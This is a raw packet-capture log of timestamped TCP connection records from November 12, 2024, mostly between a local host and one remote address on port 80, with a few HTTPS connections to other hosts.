Nov 12, 2024 04:16:28.606029987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.606268883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.606283903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.606295109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.606312990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.606317043 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.606323957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.606331110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.606342077 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.606343031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.606370926 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.606405020 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.606412888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.606425047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.606434107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.606446028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.606456041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.606462002 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.606492996 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.606957912 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.606971025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.606981039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.607000113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.607021093 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.607276917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.619272947 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:28.619297981 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:28.619374037 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:28.620079041 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:28.620090008 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:28.647494078 CET	49808	443	192.168.2.5	152.195.19.97
Nov 12, 2024 04:16:28.647510052 CET	443	49808	152.195.19.97	192.168.2.5
Nov 12, 2024 04:16:28.647573948 CET	49808	443	192.168.2.5	152.195.19.97
Nov 12, 2024 04:16:28.647778988 CET	49808	443	192.168.2.5	152.195.19.97
Nov 12, 2024 04:16:28.647789001 CET	443	49808	152.195.19.97	192.168.2.5
Nov 12, 2024 04:16:28.681927919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.681989908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.682046890 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.682070971 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.752489090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.752501011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.752513885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.752531052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.752543926 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.752545118 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.752556086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.752568960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.752580881 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.752579927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.752599955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.752623081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.752630949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.752643108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.752666950 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.752667904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.752680063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.752691031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.752691984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.752705097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.752727985 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.752729893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.752747059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.752767086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.752793074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.752947092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.752969027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.752979040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753006935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753026962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753030062 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753052950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753063917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753098011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753112078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753113031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753127098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753149033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753153086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753170967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753189087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753192902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753211021 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753222942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753228903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753241062 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753256083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753285885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753295898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753304958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753317118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753323078 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753329039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753350973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753375053 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753386974 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753397942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753408909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753424883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753444910 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753451109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753462076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753470898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753489017 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753509045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753532887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753546953 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753556967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753577948 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753603935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753777981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753787994 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753823996 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753856897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753879070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753889084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753897905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753917933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.753921986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753941059 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.753962040 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754060030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754097939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754123926 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754141092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754153013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754163980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754182100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754190922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754201889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754201889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754214048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754229069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754237890 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754242897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754254103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754275084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754277945 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754286051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754311085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754328012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754334927 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754355907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754365921 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754389048 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754410982 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754456997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754467964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754477978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754502058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754535913 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754553080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754564047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754574060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754584074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754595995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754597902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754606962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754633904 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754642963 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754707098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754765987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754776001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754807949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754856110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754867077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754877090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754888058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754894018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754899979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754911900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754923105 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754926920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754950047 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754976034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.754980087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.754997015 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755007029 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755018950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755029917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755038023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755065918 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755096912 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755110025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755120039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755134106 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755137920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755166054 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755178928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755191088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755192995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755213976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755220890 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755227089 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755230904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755242109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755251884 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755254030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755271912 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755284071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755300999 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755322933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755332947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755358934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755367041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755378962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755388975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755388975 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755398035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755409002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755412102 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755434036 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755460024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755481005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755496979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755506992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755517960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755518913 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755532980 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755556107 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755568981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755579948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755589008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755600929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755614042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755628109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755637884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755640984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755660057 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755685091 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755862951 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755873919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755883932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755893946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755903959 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755907059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755922079 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755949974 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.755985022 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.755995989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756006002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756017923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756031036 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756042957 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756052971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756062031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756069899 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756088018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756097078 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756117105 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756175995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756189108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756208897 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756227970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756238937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756251097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756259918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756280899 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756304979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756402016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756428957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756438017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756443024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756472111 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756472111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756484985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756493092 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756495953 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756520987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756522894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756544113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756563902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756573915 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756573915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756586075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756593943 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756614923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756633043 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756659985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756671906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756681919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756707907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756728888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756732941 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756741047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756767988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756781101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756784916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756803036 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756827116 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756838083 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756853104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756863117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756887913 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756913900 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.756915092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756968975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.756978989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757011890 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.757553101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757587910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757600069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757600069 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.757627964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.757628918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757633924 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.757641077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757653952 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757673025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.757699013 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.757741928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757759094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757770061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757781029 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757792950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757797003 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.757806063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757822990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.757838964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.757889986 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757905006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757915974 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757927895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757929087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.757939100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757953882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757956028 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.757966042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757980108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.757992983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.757992983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.757993937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.758006096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.758028984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.758049965 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.758114100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.758125067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.758135080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.758147001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.758152962 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.758176088 CET	49750	80	192.168.2.5	185.215.113.206
